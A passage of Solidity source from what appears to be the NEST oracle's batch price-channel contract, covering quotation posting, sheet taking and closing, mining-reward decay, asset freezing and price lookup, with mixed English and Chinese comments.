PriceChannel[] _channels; // Unit of post fee. 0.0001 ether uint constant DIMI_ETHER = 0.0001 ether; // Ethereum average block time interval, 14 seconds uint constant ETHEREUM_BLOCK_TIMESPAN = 14; // Nest ore drawing attenuation interval. 2400000 blocks, about one year uint constant NEST_REDUCTION_SPAN = 2400000; // The decay limit of nest ore drawing becomes stable after exceeding this interval. // 24 million blocks, about 10 years uint constant NEST_REDUCTION_LIMIT = 24000000; //NEST_REDUCTION_SPAN * 10; // Attenuation gradient array, each attenuation step value occupies 16 bits. The attenuation value is an integer uint constant NEST_REDUCTION_STEPS = 0x280035004300530068008300A300CC010001400190; // 0 // | (uint(400 / uint(1)) << (16 * 0)) // | (uint(400 * 8 / uint(10)) << (16 * 1)) // | (uint(400 * 8 * 8 / uint(10 * 10)) << (16 * 2)) // | (uint(400 * 8 * 8 * 8 / uint(10 * 10 * 10)) << (16 * 3)) // | (uint(400 * 8 * 8 * 8 * 8 / uint(10 * 10 * 10 * 10)) << (16 * 4)) // | (uint(400 * 8 * 8 * 8 * 8 * 8 / uint(10 * 10 * 10 * 10 * 10)) << (16 * 5)) // | (uint(400 * 8 * 8 * 8 * 8 * 8 * 8 / uint(10 * 10 * 10 * 10 * 10 * 10)) << (16 * 6)) // | (uint(400 * 8 * 8 * 8 * 8 * 8 * 8 * 8 / uint(10 * 10 * 10 * 10 * 10 * 10 * 10)) << (16 * 7)) // | (uint(400 * 8 * 8 * 8 * 8 * 8 * 8 * 8 * 8 / uint(10 * 10 * 10 * 10 * 10 * 10 * 10 * 10)) << (16 * 8)) // | (uint(400 * 8 * 8 * 8 * 8 * 8 * 8 * 8 * 8 * 8 / uint(10 * 10 * 10 * 10 * 10 * 10 * 10 * 10 * 10)) << (16 * 9)) // //| (uint(400 * 8 * 8 * 8 * 8 * 8 * 8 * 8 * 8 * 8 * 8 / uint(10 * 10 * 10 * 10 * 10 * 10 * 10 * 10 * 10 * 10)) << (16 * 10)); // | (uint(40) << (16 * 10)); /* ========== Governance ========== */ /// @dev Modify configuration /// @param config Configuration object function setConfig(Config calldata config) external override onlyGovernance { _config = config; } /// @dev Get configuration /// @return Configuration object function getConfig() external view override returns (Config memory) { return _config; } /// @dev 开通报价通道 /// @param config 报价通道配置 function open(ChannelConfig calldata config) external override { // 计价代币 address token0 = config.token0; // 矿币 address reward = config.reward; // 触发开通事件 emit Open(_channels.length, token0, config.unit, reward); PriceChannel storage channel = _channels.push(); // 计价代币 channel.token0 = token0; // 计价代币单位 channel.unit = config.unit; // 矿币 channel.reward = reward; // 单位区块出矿币数量 channel.rewardPerBlock = config.rewardPerBlock; channel.vault = uint128(0); channel.rewards = uint96(0); // Post fee(0.0001eth,DIMI_ETHER). 1000 channel.postFeeUnit = config.postFeeUnit; channel.count = uint16(config.tokens.length); // 管理地址 channel.governance = msg.sender; // 创世区块 channel.genesisBlock = uint32(block.number); // Single query fee (0.0001 ether, DIMI_ETHER). 100 channel.singleFee = config.singleFee; // 衰减系数,万分制。8000 channel.reductionRate = config.reductionRate; // 遍历创建报价对 for (uint i = 0; i < config.tokens.length; ++i) { require(token0 != config.tokens[i], "NOM:token can't equal token0"); for (uint j = 0; j < i; ++j) { require(config.tokens[i] != config.tokens[j], "NOM:token reiterated"); } channel.pairs[i].target = config.tokens[i]; } } /// @dev 添加报价代币,与计价代币形成新的报价对(暂不支持删除,请谨慎添加) /// @param channelId 报价通道 /// @param target 目标代币地址 function addPair(uint channelId, address target) external { PriceChannel storage channel = _channels[channelId]; require(channel.governance == msg.sender, "NOM:not governance"); require(channel.token0 != target, "NOM:token can't equal token0"); uint count = uint(channel.count); for (uint j = 0; j < count; ++j) { require(channel.pairs[j].target != target, "NOM:token reiterated"); } channel.pairs[count].target = target; ++channel.count; } /// @dev 向报价通道注入矿币 /// @param channelId 报价通道 /// @param vault 注入矿币数量 function increase(uint channelId, uint128 vault) external payable override { PriceChannel storage channel = _channels[channelId]; address reward = channel.reward; if (reward == address(0)) { require(msg.value == uint(vault), "NOM:vault error"); } else { TransferHelper.safeTransferFrom(reward, msg.sender, address(this), uint(vault)); } channel.vault += vault; } /// @dev 从报价通道取出矿币 /// @param channelId 报价通道 /// @param vault 取出矿币数量 function decrease(uint channelId, uint128 vault) external override { PriceChannel storage channel = _channels[channelId]; require(channel.governance == msg.sender, "NOM:not governance"); address reward = channel.reward; channel.vault -= vault; if (reward == address(0)) { payable(msg.sender).transfer(uint(vault)); } else { TransferHelper.safeTransfer(reward, msg.sender, uint(vault)); } } /// @dev 修改治理权限地址 /// @param channelId 报价通道 /// @param newGovernance 新治理权限地址 function changeGovernance(uint channelId, address newGovernance) external { PriceChannel storage channel = _channels[channelId]; require(channel.governance == msg.sender, "NOM:not governance"); channel.governance = newGovernance; } /// @dev 获取报价通道信息 /// @param channelId 报价通道 /// @return 报价通道信息 function getChannelInfo(uint channelId) external view override returns (PriceChannelView memory) { PriceChannel storage channel = _channels[channelId]; uint count = uint(channel.count); PairView[] memory pairs = new PairView[](count); for (uint i = 0; i < count; ++i) { PricePair storage pair = channel.pairs[i]; pairs[i] = PairView(pair.target, uint96(pair.sheets.length)); } return PriceChannelView ( channelId, // 计价代币地址, 0表示eth channel.token0, // 计价代币单位 channel.unit, // 矿币地址如果和token0或者token1是一种币,可能导致挖矿资产被当成矿币挖走 // 出矿代币地址 channel.reward, // 每个区块的标准出矿量 channel.rewardPerBlock, // 矿币总量 channel.vault, // The information of mining fee channel.rewards, // Post fee(0.0001eth,DIMI_ETHER). 1000 channel.postFeeUnit, // 报价对数量 channel.count, // 管理地址 channel.governance, // 创世区块 channel.genesisBlock, // Single query fee (0.0001 ether, DIMI_ETHER). 100 channel.singleFee, // 衰减系数,万分制。8000 channel.reductionRate, pairs ); } /* ========== Mining ========== */ /// @dev 报价 /// @param channelId 报价通道id /// @param scale 报价规模(token0,单位unit) /// @param equivalents 价格数组,索引和报价对一一对应 function post(uint channelId, uint scale, uint[] calldata equivalents) external payable override { // 0. 加载配置 Config memory config = _config; // 1. Check arguments require(scale == 1, "NOM:!scale"); // 2. Load price channel PriceChannel storage channel = _channels[channelId]; // 3. Freeze assets uint accountIndex = _addressIndex(msg.sender); // Freeze token and nest // Because of the use of floating-point representation(fraction * 16 ^ exponent), it may bring some precision // loss After assets are frozen according to tokenAmountPerEth * ethNum, the part with poor accuracy may be // lost when the assets are returned, It should be frozen according to decodeFloat(fraction, exponent) * ethNum // However, considering that the loss is less than 1 / 10 ^ 14, the loss here is ignored, and the part of // precision loss can be transferred out as system income in the future mapping(address=>UINT) storage balances = _accounts[accountIndex].balances; uint cn = uint(channel.count); uint fee = msg.value; // 冻结nest fee = _freeze(balances, NEST_TOKEN_ADDRESS, cn * uint(config.pledgeNest) * 1000 ether, fee); // 冻结token0 fee = _freeze(balances, channel.token0, cn * uint(channel.unit) * scale, fee); // 冻结token1 while (cn > 0) { PricePair storage pair = channel.pairs[--cn]; uint equivalent = equivalents[cn]; require(equivalent > 0, "NOM:!equivalent"); fee = _freeze(balances, pair.target, scale * equivalent, fee); // Calculate the price // According to the current mechanism, the newly added sheet cannot take effect, so the calculated price // is placed before the sheet is added, which can reduce unnecessary traversal _stat(config, pair); // 6. Create token price sheet emit Post(channelId, cn, msg.sender, pair.sheets.length, scale, equivalent); // 只有0号报价对挖矿 _create(pair.sheets, accountIndex, uint32(scale), uint(config.pledgeNest), cn == 0 ? 1 : 0, equivalent); } // 4. Deposit fee // 只有配置了报价佣金时才检查fee uint postFeeUnit = uint(channel.postFeeUnit); if (postFeeUnit > 0) { require(fee >= postFeeUnit * DIMI_ETHER + tx.gasprice * 400000, "NM:!fee"); } if (fee > 0) { channel.rewards += _toUInt96(fee); } } /// @notice Call the function to buy TOKEN/NTOKEN from a posted price sheet /// @dev bite TOKEN(NTOKEN) by ETH, (+ethNumBal, -tokenNumBal) /// @param channelId 报价通道编号 /// @param pairIndex 报价对编号。吃单方向为拿走计价代币时,直接传报价对编号,吃单方向为拿走报价代币时,报价对编号加65536 /// @param index The position of the sheet in priceSheetList[token] /// @param takeNum The amount of biting (in the unit of ETH), realAmount = takeNum * newTokenAmountPerEth /// @param newEquivalent The new price of token (1 ETH : some TOKEN), here some means newTokenAmountPerEth function take( uint channelId, uint pairIndex, uint index, uint takeNum, uint newEquivalent ) external payable override { Config memory config = _config; // 1. Check arguments require(takeNum > 0, "NM:!takeNum"); require(newEquivalent > 0, "NM:!price"); // 2. Load price sheet PriceChannel storage channel = _channels[channelId]; PricePair storage pair = channel.pairs[pairIndex < 0x10000 ? pairIndex : pairIndex - 0x10000]; //PriceSheet[] storage sheets = pair.sheets; PriceSheet memory sheet = pair.sheets[index]; // 3. Check state //require(uint(sheet.remainNum) >= takeNum, "NM:!remainNum"); require(uint(sheet.height) + uint(config.priceEffectSpan) >= block.number, "NM:!state"); sheet.remainNum = uint32(uint(sheet.remainNum) - takeNum); uint accountIndex = _addressIndex(msg.sender); // Number of nest to be pledged // sheet.ethNumBal + sheet.tokenNumBal is always two times to sheet.ethNum uint needNest1k = (takeNum << 2) * uint(sheet.nestNum1k) / (uint(sheet.ethNumBal) + uint(sheet.tokenNumBal)); // 4. Calculate the number of eth, token and nest needed, and freeze them uint needEthNum = takeNum; uint level = uint(sheet.level); if (level < 255) { if (level < uint(config.maxBiteNestedLevel)) { // Double scale sheet needEthNum <<= 1; } ++level; } { // Freeze nest and token // 冻结资产:token0, token1, nest mapping(address=>UINT) storage balances = _accounts[accountIndex].balances; uint fee = msg.value; // 当吃单方向为拿走计价代币时,直接传报价对编号,当吃单方向为拿走报价代币时,传报价对编号减65536 // pairIndex < 0x10000,吃单方向为拿走计价代币 if (pairIndex < 0x10000) { // Update the bitten sheet sheet.ethNumBal = uint32(uint(sheet.ethNumBal) - takeNum); sheet.tokenNumBal = uint32(uint(sheet.tokenNumBal) + takeNum); pair.sheets[index] = sheet; // 冻结token0 fee = _freeze(balances, channel.token0, (needEthNum - takeNum) * uint(channel.unit), fee); // 冻结token1 fee = _freeze( balances, pair.target, needEthNum * newEquivalent + _decodeFloat(sheet.priceFloat) * takeNum, fee ); } // pairIndex >= 0x10000,吃单方向为拿走报价代币 else { pairIndex -= 0x10000; // Update the bitten sheet sheet.ethNumBal = uint32(uint(sheet.ethNumBal) + takeNum); sheet.tokenNumBal = uint32(uint(sheet.tokenNumBal) - takeNum); pair.sheets[index] = sheet; // 冻结token0 fee = _freeze(balances, channel.token0, (needEthNum + takeNum) * uint(channel.unit), fee); // 冻结token1 uint backTokenValue = _decodeFloat(sheet.priceFloat) * takeNum; if (needEthNum * newEquivalent > backTokenValue) { fee = _freeze(balances, pair.target, needEthNum * newEquivalent - backTokenValue, fee); } else { _unfreeze(balances, pair.target, backTokenValue - needEthNum * newEquivalent, msg.sender); } } // 冻结nest fee = _freeze(balances, NEST_TOKEN_ADDRESS, needNest1k * 1000 ether, fee); require(fee == 0, "NOM:!fee"); } // 5. Calculate the price // According to the current mechanism, the newly added sheet cannot take effect, so the calculated price // is placed before the sheet is added, which can reduce unnecessary traversal _stat(config, pair); // 6. Create price sheet emit Post(channelId, pairIndex, msg.sender, pair.sheets.length, needEthNum, newEquivalent); _create(pair.sheets, accountIndex, uint32(needEthNum), needNest1k, level << 8, newEquivalent); } /// @dev List sheets by page /// @param channelId 报价通道编号 /// @param pairIndex 报价对编号 /// @param offset Skip previous (offset) records /// @param count Return (count) records /// @param order Order. 0 reverse order, non-0 positive order /// @return List of price sheets function list( uint channelId, uint pairIndex, uint offset, uint count, uint order ) external view override noContract returns (PriceSheetView[] memory) { PriceSheet[] storage sheets = _channels[channelId].pairs[pairIndex].sheets; PriceSheetView[] memory result = new PriceSheetView[](count); uint length = sheets.length; uint i = 0; // Reverse order if (order == 0) { uint index = length - offset; uint end = index > count ? index - count : 0; while (index > end) { --index; result[i++] = _toPriceSheetView(sheets[index], index); } } // Positive order else { uint index = offset; uint end = index + count; if (end > length) { end = length; } while (index < end) { result[i++] = _toPriceSheetView(sheets[index], index); ++index; } } return result; } /// @notice Close a batch of price sheets passed VERIFICATION-PHASE /// @dev Empty sheets but in VERIFICATION-PHASE aren't allowed /// @param channelId 报价通道编号 /// @param indices 报价单二维数组,外层对应通道号,内层对应报价单号,如果仅关闭后面的报价对,则前面的报价对数组传空数组 function close(uint channelId, uint[][] calldata indices) external override { Config memory config = _config; PriceChannel storage channel = _channels[channelId]; uint accountIndex = 0; uint reward = 0; uint nestNum1k = 0; uint ethNum = 0; // storage变量必须在定义时初始化,因此在此处赋值,但是由于accountIndex此时为0,此赋值没有意义 mapping(address=>UINT) storage balances = _accounts[0/*accountIndex*/].balances; uint[3] memory vars = [ uint(channel.rewardPerBlock), uint(channel.genesisBlock), uint(channel.reductionRate) ]; for (uint j = indices.length; j > 0;) { PricePair storage pair = channel.pairs[--j]; /////////////////////////////////////////////////////////////////////////////////////// //PriceSheet[] storage sheets = pair.sheets; uint tokenValue = 0; // 1. Traverse sheets for (uint i = indices[j].length; i > 0;) { // --------------------------------------------------------------------------------- uint index = indices[j][--i]; PriceSheet memory sheet = pair.sheets[index]; //uint height = uint(sheet.height); //uint minerIndex = uint(sheet.miner); // Batch closing quotation can only close sheet of the same user if (accountIndex == 0) { // accountIndex == 0 means the first sheet, and the number of this sheet is taken accountIndex = uint(sheet.miner); balances = _accounts[accountIndex].balances; } else { // accountIndex != 0 means that it is a follow-up sheet, and the miner number must be // consistent with the previous record require(accountIndex == uint(sheet.miner), "NM:!miner"); } // Check the status of the price sheet to see if it has reached the effective block interval // or has been finished if (accountIndex > 0 && (uint(sheet.height) + uint(config.priceEffectSpan) < block.number)) { // 后面的通道不出矿,不需要出矿逻辑 // 出矿按照第一个通道计算 if (j == 0) { uint shares = uint(sheet.shares); // Mining logic // The price sheet which shares is zero doesn't mining if (shares > 0) { // Currently, mined represents the number of blocks has mined (uint mined, uint totalShares) = _calcMinedBlocks(pair.sheets, index, sheet); // 当开通者指定的rewardPerBlock非常大时,计算出矿可能会被截断,导致实际能够得到的出矿大大减少 // 这种情况是不合理的,需要由开通者负责 reward += ( mined * shares * _reduction(uint(sheet.height) - vars[1], vars[2]) * vars[0] / totalShares / 400 ); } } nestNum1k += uint(sheet.nestNum1k); ethNum += uint(sheet.ethNumBal); tokenValue += _decodeFloat(sheet.priceFloat) * uint(sheet.tokenNumBal); // Set sheet.miner to 0, express the sheet is closed sheet.miner = uint32(0); sheet.ethNumBal = uint32(0); sheet.tokenNumBal = uint32(0); pair.sheets[index] = sheet; } // --------------------------------------------------------------------------------- } _stat(config, pair); /////////////////////////////////////////////////////////////////////////////////////// // 解冻token1 _unfreeze(balances, pair.target, tokenValue, accountIndex); } // 解冻token0 _unfreeze(balances, channel.token0, ethNum * uint(channel.unit), accountIndex); // 解冻nest _unfreeze(balances, NEST_TOKEN_ADDRESS, nestNum1k * 1000 ether, accountIndex); uint vault = uint(channel.vault); if (reward > vault) { reward = vault; } // 记录每个通道矿币的数量,防止开通者不打币,直接用资金池内的资金 channel.vault = uint96(vault - reward); // 奖励矿币 _unfreeze(balances, channel.reward, reward, accountIndex); } /// @dev View the number of assets specified by the user /// @param tokenAddress Destination token address /// @param addr Destination address /// @return Number of assets function balanceOf(address tokenAddress, address addr) external view override returns (uint) { return _accounts[_accountMapping[addr]].balances[tokenAddress].value; } /// @dev Withdraw assets /// @param tokenAddress Destination token address /// @param value The value to withdraw function withdraw(address tokenAddress, uint value) external override { // The user's locked nest and the mining pool's nest are stored together. When the nest is mined over, // the problem of taking the locked nest as the ore drawing will appear // As it will take a long time for nest to finish mining, this problem will not be considered for the time being UINT storage balance = _accounts[_accountMapping[msg.sender]].balances[tokenAddress]; //uint balanceValue = balance.value; //require(balanceValue >= value, "NM:!balance"); balance.value -= value; TransferHelper.safeTransfer(tokenAddress, msg.sender, value); } /// @dev Estimated mining amount /// @param channelId 报价通道编号 /// @return Estimated mining amount function estimate(uint channelId) external view override returns (uint) { PriceChannel storage channel = _channels[channelId]; PriceSheet[] storage sheets = channel.pairs[0].sheets; uint index = sheets.length; uint blocks = 10; while (index > 0) { PriceSheet memory sheet = sheets[--index]; if (uint(sheet.shares) > 0) { blocks = block.number - uint(sheet.height); break; } } return blocks * uint(channel.rewardPerBlock) * _reduction(block.number - uint(channel.genesisBlock), uint(channel.reductionRate)) / 400; } /// @dev Query the quantity of the target quotation /// @param channelId 报价通道编号 /// @param index The index of the sheet /// @return minedBlocks Mined block period from previous block /// @return totalShares Total shares of sheets in the block function getMinedBlocks( uint channelId, uint index ) external view override returns (uint minedBlocks, uint totalShares) { PriceSheet[] storage sheets = _channels[channelId].pairs[0].sheets; PriceSheet memory sheet = sheets[index]; // The bite sheet or ntoken sheet doesn't mining if (uint(sheet.shares) == 0) { return (0, 0); } return _calcMinedBlocks(sheets, index, sheet); } /// @dev The function returns eth rewards of specified ntoken /// @param channelId 报价通道编号 function totalETHRewards(uint channelId) external view override returns (uint) { return uint(_channels[channelId].rewards); } /// @dev Pay /// @param channelId 报价通道编号 /// @param to Address to receive /// @param value Amount to receive function pay(uint channelId, address to, uint value) external override { PriceChannel storage channel = _channels[channelId]; require(channel.governance == msg.sender, "NOM:!governance"); channel.rewards -= _toUInt96(value); // pay payable(to).transfer(value); } /// @dev 向DAO捐赠 /// @param channelId 报价通道 /// @param value Amount to receive function donate(uint channelId, uint value) external override { PriceChannel storage channel = _channels[channelId]; require(channel.governance == msg.sender, "NOM:!governance"); channel.rewards -= _toUInt96(value); INestLedger(INestMapping(_governance).getNestLedgerAddress()).addETHReward { value: value } (channelId); } /// @dev Gets the address corresponding to the given index number /// @param index The index number of the specified address /// @return The address corresponding to the given index number function indexAddress(uint index) public view returns (address) { return _accounts[index].addr; } /// @dev Gets the registration index number of the specified address /// @param addr Destination address /// @return 0 means nonexistent, non-0 means index number function getAccountIndex(address addr) external view returns (uint) { return _accountMapping[addr]; } /// @dev Get the length of registered account array /// @return The length of registered account array function getAccountCount() external view returns (uint) { return _accounts.length; } // Convert PriceSheet to PriceSheetView function _toPriceSheetView(PriceSheet memory sheet, uint index) private view returns (PriceSheetView memory) { return PriceSheetView( // Index number uint32(index), // Miner address indexAddress(sheet.miner), // The block number of this price sheet packaged sheet.height, // The remain number of this price sheet sheet.remainNum, // The eth number which miner will got sheet.ethNumBal, // The eth number which equivalent to token's value which miner will got sheet.tokenNumBal, // The pledged number of nest in this sheet. (Unit: 1000nest) sheet.nestNum1k, // The level of this sheet. 0 expresses initial price sheet, a value greater than 0 expresses // bite price sheet sheet.level, // Post fee shares sheet.shares, // Price uint152(_decodeFloat(sheet.priceFloat)) ); } // Create price sheet function _create( PriceSheet[] storage sheets, uint accountIndex, uint32 ethNum, uint nestNum1k, uint level_shares, uint equivalent ) private { sheets.push(PriceSheet( uint32(accountIndex), // uint32 miner; uint32(block.number), // uint32 height; ethNum, // uint32 remainNum; ethNum, // uint32 ethNumBal; ethNum, // uint32 tokenNumBal; uint24(nestNum1k), // uint32 nestNum1k; uint8(level_shares >> 8), // uint8 level; uint8(level_shares & 0xFF), _encodeFloat(equivalent) )); } // Calculate price, average price and volatility function _stat(Config memory config, PricePair storage pair) private { PriceSheet[] storage sheets = pair.sheets; // Load token price information PriceInfo memory p0 = pair.price; // Length of sheets uint length = sheets.length; // The index of the sheet to be processed in the sheet array uint index = uint(p0.index); // The latest block number for which the price has been calculated uint prev = uint(p0.height); // It's not necessary to load the price information in p0 // Eth count variable used to calculate price uint totalEthNum = 0; // Token count variable for price calculation uint totalTokenValue = 0; // Block number of current sheet uint height = 0; // Traverse the sheets to find the effective price //uint effectBlock = block.number - uint(config.priceEffectSpan); PriceSheet memory sheet; for (; ; ++index) { // Gas attack analysis, each post transaction, calculated according to post, needs to write // at least one sheet and freeze two kinds of assets, which needs to consume at least 30000 gas, // In addition to the basic cost of the transaction, at least 50000 gas is required. // In addition, there are other reading and calculation operations. The gas consumed by each // transaction is impossible less than 70000 gas, The attacker can accumulate up to 20 blocks // of sheets to be generated. To ensure that the calculation can be completed in one block, // it is necessary to ensure that the consumption of each price does not exceed 70000 / 20 = 3500 gas, // According to the current logic, each calculation of a price needs to read a storage unit (800) // and calculate the consumption, which can not reach the dangerous value of 3500, so the gas attack // is not considered // Traverse the sheets that has reached the effective interval from the current position bool flag = index >= length || (height = uint((sheet = sheets[index]).height)) + uint(config.priceEffectSpan) >= block.number; // Not the same block (or flag is false), calculate the price and update it if (flag || prev != height) { // totalEthNum > 0 Can calculate the price if (totalEthNum > 0) { // Calculate average price and Volatility // Calculation method of volatility of follow-up price uint tmp = _decodeFloat(p0.priceFloat); // New price uint price = totalTokenValue / totalEthNum; // Update price p0.remainNum = uint32(totalEthNum); p0.priceFloat = _encodeFloat(price); // Clear cumulative values totalEthNum = 0; totalTokenValue = 0; if (tmp > 0) { // Calculate average price // avgPrice[i + 1] = avgPrice[i] * 90% + price[i] * 10% p0.avgFloat = _encodeFloat((_decodeFloat(p0.avgFloat) * 9 + price) / 10); // When the accuracy of the token is very high or the value of the token relative to // eth is very low, the price may be very large, and there may be overflow problem, // it is not considered for the moment tmp = (price << 48) / tmp; if (tmp > 0x1000000000000) { tmp = tmp - 0x1000000000000; } else { tmp = 0x1000000000000 - tmp; } // earn = price[i] / price[i - 1] - 1; // seconds = time[i] - time[i - 1]; // sigmaSQ[i + 1] = sigmaSQ[i] * 90% + (earn ^ 2 / seconds) * 10% tmp = ( uint(p0.sigmaSQ) * 9 + // It is inevitable that prev greater than p0.height ((tmp * tmp / ETHEREUM_BLOCK_TIMESPAN / (prev - uint(p0.height))) >> 48) ) / 10; // The current implementation assumes that the volatility cannot exceed 1, and // corresponding to this, when the calculated value exceeds 1, expressed as 0xFFFFFFFFFFFF if (tmp > 0xFFFFFFFFFFFF) { tmp = 0xFFFFFFFFFFFF; } p0.sigmaSQ = uint48(tmp); } // The calculation methods of average price and volatility are different for first price else { // The average price is equal to the price //p0.avgTokenAmount = uint64(price); p0.avgFloat = p0.priceFloat; // The volatility is 0 p0.sigmaSQ = uint48(0); } // Update price block number p0.height = uint32(prev); } // Move to new block number prev = height; } if (flag) { break; } // Cumulative price information totalEthNum += uint(sheet.remainNum); totalTokenValue += _decodeFloat(sheet.priceFloat) * uint(sheet.remainNum); } // Update price information if (index > uint(p0.index)) { p0.index = uint32(index); pair.price = p0; } } // Calculation number of blocks which mined function _calcMinedBlocks( PriceSheet[] storage sheets, uint index, PriceSheet memory sheet ) private view returns (uint minedBlocks, uint totalShares) { uint length = sheets.length; uint height = uint(sheet.height); totalShares = uint(sheet.shares); // Backward looking for sheets in the same block for (uint i = index; ++i < length && uint(sheets[i].height) == height;) { // Multiple sheets in the same block is a small probability event at present, so it can be ignored // to read more than once, if there are always multiple sheets in the same block, it means that the // sheets are very intensive, and the gas consumed here does not have a great impact totalShares += uint(sheets[i].shares); } //i = index; // Find sheets in the same block forward uint prev = height; while (index > 0 && uint(prev = sheets[--index].height) == height) { // Multiple sheets in the same block is a small probability event at present, so it can be ignored // to read more than once, if there are always multiple sheets in the same block, it means that the // sheets are very intensive, and the gas consumed here does not have a great impact totalShares += uint(sheets[index].shares); } if (index > 0 || height > prev) { minedBlocks = height - prev; } else { minedBlocks = 10; } } /// @dev freeze token /// @param balances Balances ledger /// @param tokenAddress Destination token address /// @param tokenValue token amount /// @param value 剩余的eth数量 function _freeze( mapping(address=>UINT) storage balances, address tokenAddress, uint tokenValue, uint value ) private returns (uint) { if (tokenAddress == address(0)) { return value - tokenValue; } else { // Unfreeze nest UINT storage balance = balances[tokenAddress]; uint balanceValue = balance.value; if (balanceValue < tokenValue) { balance.value = 0; TransferHelper.safeTransferFrom(tokenAddress, msg.sender, address(this), tokenValue - balanceValue); } else { balance.value = balanceValue - tokenValue; } return value; } } function _unfreeze( mapping(address=>UINT) storage balances, address tokenAddress, uint tokenValue, uint accountIndex ) private { if (tokenValue > 0) { if (tokenAddress == address(0)) { payable(indexAddress(accountIndex)).transfer(tokenValue); } else { balances[tokenAddress].value += tokenValue; } } } function _unfreeze( mapping(address=>UINT) storage balances, address tokenAddress, uint tokenValue, address owner ) private { if (tokenValue > 0) { if (tokenAddress == address(0)) { payable(owner).transfer(tokenValue); } else { balances[tokenAddress].value += tokenValue; } } } /// @dev Gets the index number of the specified address. If it does not exist, register /// @param addr Destination address /// @return The index number of the specified address function _addressIndex(address addr) private returns (uint) { uint index = _accountMapping[addr]; if (index == 0) { // If it exceeds the maximum number that 32 bits can store, you can't continue to register a new account. // If you need to support a new account, you need to update the contract require((_accountMapping[addr] = index = _accounts.length) < 0x100000000, "NM:!accounts"); _accounts.push().addr = addr; } return index; } // // Calculation of attenuation gradient // function _reduction(uint delta) private pure returns (uint) { // if (delta < NEST_REDUCTION_LIMIT) { // return (NEST_REDUCTION_STEPS >> ((delta / NEST_REDUCTION_SPAN) << 4)) & 0xFFFF; // } // return (NEST_REDUCTION_STEPS >> 160) & 0xFFFF; // } function _reduction(uint delta, uint reductionRate) private pure returns (uint) { if (delta < NEST_REDUCTION_LIMIT) { uint n = delta / NEST_REDUCTION_SPAN; return 400 * reductionRate ** n / 10000 ** n; } return 400 * reductionRate ** 10 / 10000 ** 10; } /* ========== Tools and methods ========== */ /// @dev Encode the uint value as a floating-point representation in the form of fraction * 16 ^ exponent /// @param value Destination uint value /// @return float format function _encodeFloat(uint value) private pure returns (uint56) { uint exponent = 0; while (value > 0x3FFFFFFFFFFFF) { value >>= 4; ++exponent; } return uint56((value << 6) | exponent); } /// @dev Decode the floating-point representation of fraction * 16 ^ exponent to uint /// @param floatValue fraction value /// @return decode format function _decodeFloat(uint56 floatValue) private pure returns (uint) { return (uint(floatValue) >> 6) << ((uint(floatValue) & 0x3F) << 2); } // 将uint转为uint96 function _toUInt96(uint value) internal pure returns (uint96) { require(value < 1000000000000000000000000); return uint96(value); } /* ========== 价格查询 ========== */ /// @dev Get the latest trigger price /// @param pair 报价对 /// @return blockNumber The block number of price /// @return price The token price. (1eth equivalent to (price) token) function _triggeredPrice(PricePair storage pair) internal view returns (uint blockNumber, uint price) { PriceInfo memory priceInfo = pair.price; if (uint(priceInfo.remainNum) > 0) { return (uint(priceInfo.height) + uint(_config.priceEffectSpan), _decodeFloat(priceInfo.priceFloat)); } return (0, 0); } /// @dev Get the full information of latest trigger price /// @param pair 报价对 /// @return blockNumber The block number of price /// @return price The token price. (1eth equivalent to (price) token) /// @return avgPrice Average price /// @return sigmaSQ The square of the volatility (18 decimal places). The current implementation assumes that /// the volatility cannot exceed 1. Correspondingly, when the return value is equal to 999999999999996447, /// it means that the volatility has exceeded the range that can be expressed function _triggeredPriceInfo(PricePair storage pair) internal view returns ( uint blockNumber, uint price, uint avgPrice, uint sigmaSQ ) { PriceInfo memory priceInfo = pair.price; if (uint(priceInfo.remainNum) > 0) { return ( uint(priceInfo.height) + uint(_config.priceEffectSpan), _decodeFloat(priceInfo.priceFloat), _decodeFloat(priceInfo.avgFloat), (uint(priceInfo.sigmaSQ) * 1 ether) >> 48 ); } return (0, 0, 0, 0); } /// @dev Find the price at block number /// @param pair 报价对 /// @param height Destination block number /// @return blockNumber The block number of price /// @return price The token price. (1eth equivalent to (price) token) function _findPrice( PricePair storage pair, uint height ) internal view returns (uint blockNumber, uint price) { PriceSheet[] storage sheets = pair.sheets; uint priceEffectSpan = uint(_config.priceEffectSpan); uint length = sheets.length; uint index = 0; uint sheetHeight; height -= priceEffectSpan; { // If there is no sheet in this channel, length is 0, length - 1 will overflow, uint right = length - 1; uint left = 0; // Find the index use Binary Search while (left < right) { index = (left + right) >> 1; sheetHeight = uint(sheets[index].height); if (height > sheetHeight) { left = ++index; } else if (height < sheetHeight) { // When index = 0, this statement will have an underflow exception, which usually // indicates that the effective block height passed during the call is lower than // the block height of the first quotation right = --index; } else { break; } } } // Calculate price uint totalEthNum = 0; uint totalTokenValue = 0; uint h = 0; uint remainNum; PriceSheet memory sheet; // Find sheets forward for (uint i = index; i < length;) { sheet = sheets[i++]; sheetHeight = uint(sheet.height); if (height < sheetHeight) { break; } remainNum = uint(sheet.remainNum); if (remainNum > 0) { if (h == 0) { h = sheetHeight; } else if (h != sheetHeight) { break; } totalEthNum += remainNum; totalTokenValue += _decodeFloat(sheet.priceFloat) * remainNum; } } // Find sheets backward while (index > 0) { sheet = sheets[--index]; remainNum = uint(sheet.remainNum); if (remainNum > 0) { sheetHeight = uint(sheet.height); if (h == 0) { h = sheetHeight; } else if (h != sheetHeight) { break; } totalEthNum += remainNum; totalTokenValue += _decodeFloat(sheet.priceFloat) * remainNum; } } if (totalEthNum > 0) { return (h + priceEffectSpan, totalTokenValue / totalEthNum); } return (0, 0); } /// @dev Get the last (num) effective price /// @param pair 报价对 /// @param count The number of prices that want to return /// @return An array which length is num * 2, each two element expresses one price like blockNumber|price function _lastPriceList(PricePair storage pair, uint count) internal view returns (uint[] memory) { PriceSheet[] storage sheets = pair.sheets; PriceSheet memory sheet; uint[] memory array = new uint[](count <<= 1); uint priceEffectSpan = uint(_config.priceEffectSpan); //uint h = block.number - priceEffectSpan; uint index = sheets.length; uint totalEthNum = 0; uint totalTokenValue = 0; uint height = 0; for (uint i = 0; i < count;) { bool flag = index == 0; if (flag || height != uint((sheet = sheets[--index]).height)) { if (totalEthNum > 0 && height + priceEffectSpan < block.number) { array[i++] = height + priceEffectSpan; array[i++] = totalTokenValue / totalEthNum; } if (flag) { break; } totalEthNum = 0; totalTokenValue = 0; height = uint(sheet.height); } uint remainNum = uint(sheet.remainNum); totalEthNum += remainNum; totalTokenValue += _decodeFloat(sheet.priceFloat) * remainNum; } return array; } } // File contracts/NestBatchPlatform2.sol // GPL-3.0-or-later pragma solidity ^0.8.6; // 支持pairIndex数组,可以一次性查询多个价格 /// @dev This contract implemented the mining logic of 